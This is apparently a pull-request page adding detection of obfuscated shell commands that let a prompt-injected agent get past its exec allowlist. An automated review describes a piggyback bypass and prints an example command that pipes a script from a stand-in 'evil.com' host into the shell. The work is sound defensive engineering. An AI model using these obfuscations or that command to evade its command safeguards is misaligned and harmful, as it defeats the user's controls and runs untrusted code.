#16907: fix(security): detect obfuscated commands that bypass allowlist filters
agents
size: L
Cluster:
Security Enhancements and Fixes
## Summary
- **Problem:** The exec tool's allowlist can be bypassed using shell obfuscation (base64 encoding, hex escapes, variable expansion, `curl | sh` piping) to execute blocked commands
- **Why it matters:** A prompt-injected LLM can run arbitrary commands the user explicitly blocked
- **What changed:** Added `detectCommandObfuscation()` as a pre-allowlist gate that detects obfuscation patterns and forces user approval
- **What did NOT change:** Existing allowlist behavior is untouched — this only adds a new check before allowlist evaluation
Closes #8592
## Changes
**`src/infra/exec-obfuscation-detect.ts`** (new):
- Detection module with pattern matchers for base64, hex/octal, variable expansion, brace expansion, `curl | sh`, Unicode smuggling
- Known-good installer exemptions (Homebrew, rustup, nvm, pnpm, bun) to avoid false positives
**`src/agents/bash-tools.exec.ts`**:
- Integrated `detectCommandObfuscation()` call before allowlist evaluation in both gateway and node execution paths
**`src/infra/exec-obfuscation-detect.test.ts`** (new):
- 33 unit tests covering all detection patterns, edge cases, and false positive suppression
## Security Impact
- Command/tool execution surface changed? Yes — adds a detection gate before allowlist eval
- Only adds restrictions, never loosens. False positives mitigated by known-good installer exemptions.
## Testing
All 33 tests pass locally (macOS, Node.js v25.6.0). Covers:
- Base64/hex/octal encoding bypass
- Variable expansion (`$'cmd'`)
- Curl-pipe-shell patterns
- Multi-layer obfuscation
- Known-good installer exemptions (no false positives)
## Compatibility
Backward compatible — default behavior unchanged, only adds approval prompt for detected obfuscation.
## Failure Recovery
Revert the single commit. Detection module is isolated — no other code depends on it except the two integration points in `bash-tools.exec.ts`.
## AI Disclosure
AI-assisted (Claude via OpenClaw). All code reviewed, understood, and tested.
<!-- greptile_comment -->
<h3>Greptile Summary</h3>
Adds a `detectCommandObfuscation()` pre-allowlist gate that detects common shell obfuscation patterns (base64 decode, hex escapes, `curl | sh`, eval with encoding, variable expansion, etc.) and forces user approval when triggered. The detection module is well-structured and the integration into both gateway and node execution paths in `bash-tools.exec.ts` is clean.
- **Suppression piggybacking vulnerability**: The false-positive suppression regexes for known-good installers (rustup, nvm, Homebrew, etc.) match the known-good URL *anywhere* in the command string. An attacker can include a known-good URL alongside a malicious one (e.g., `curl https://sh.rustup.rs https://evil.com/bad.sh | sh`) to suppress `curl-pipe-shell` detection while still executing malicious content.
- **Homebrew suppression test is vacuous**: The canonical Homebrew install command uses `$(curl ...)` command substitution, not a pipe. The `curl-pipe-shell` detection regex never matches it, so the suppression logic is never exercised. The test passes for the wrong reason.
- Good test coverage overall with 33 tests covering detection patterns, edge cases, and false positive suppression.
<h3>Confidence Score: 3/5</h3>
- The PR adds a useful security layer but the suppression mechanism has a bypass that should be addressed before merge.
- The core detection logic is sound and the integration is clean, but the false-positive suppression can be piggybacked by including a known-good URL alongside a malicious one, which undermines the security intent. The Homebrew suppression test also passes vacuously. These are addressable issues but warrant fixes before merging a security-focused change.
- Pay close attention to `src/infra/exec-obfuscation-detect.ts` — the suppression regexes need tightening to prevent piggybacking attacks.
<sub>Last reviewed commit: c86646d</sub>
<!-- greptile_other_comments_section -->
<!-- /greptile_comment -->
Most Similar PRs
#5923: fix(security): add input encoding detection and obfuscation decoder
by dan-redcupit · 2026-02-01
78.6%
#6486: feat(security): add exec command denylist for defense-in-depth
by nia-agent-cyber · 2026-02-01
77.9%
#8086: feat(security): Add prompt injection guard rail
by bobbythelobster · 2026-02-03
75.5%
#8821: Security: Holistic capability-based sandbox (replaces pattern-match...
by tonioloewald · 2026-02-04
75.2%
#11961: fix: exec tool wraps shebang scripts in heredoc to use correct inte...
by scott-memco · 2026-02-08
75.0%
#21136: fix(security): harden agent autonomy controls
by novalis133 · 2026-02-19
75.0%
#18992: fix: suppress spurious tool error warnings for read-only exec commands
by Phineas1500 · 2026-02-17
74.5%
#20435: fix(exec): prioritize user 'always allow' config over tool defaults...
by ChisomUma · 2026-02-18
74.3%
#8161: fix(sandbox): block dangerous environment variables from Docker con...
by yubrew · 2026-02-03
73.8%
#18934: fix(agents): suppress exec tool output from channel delivery
by BinHPdev · 2026-02-17
73.6%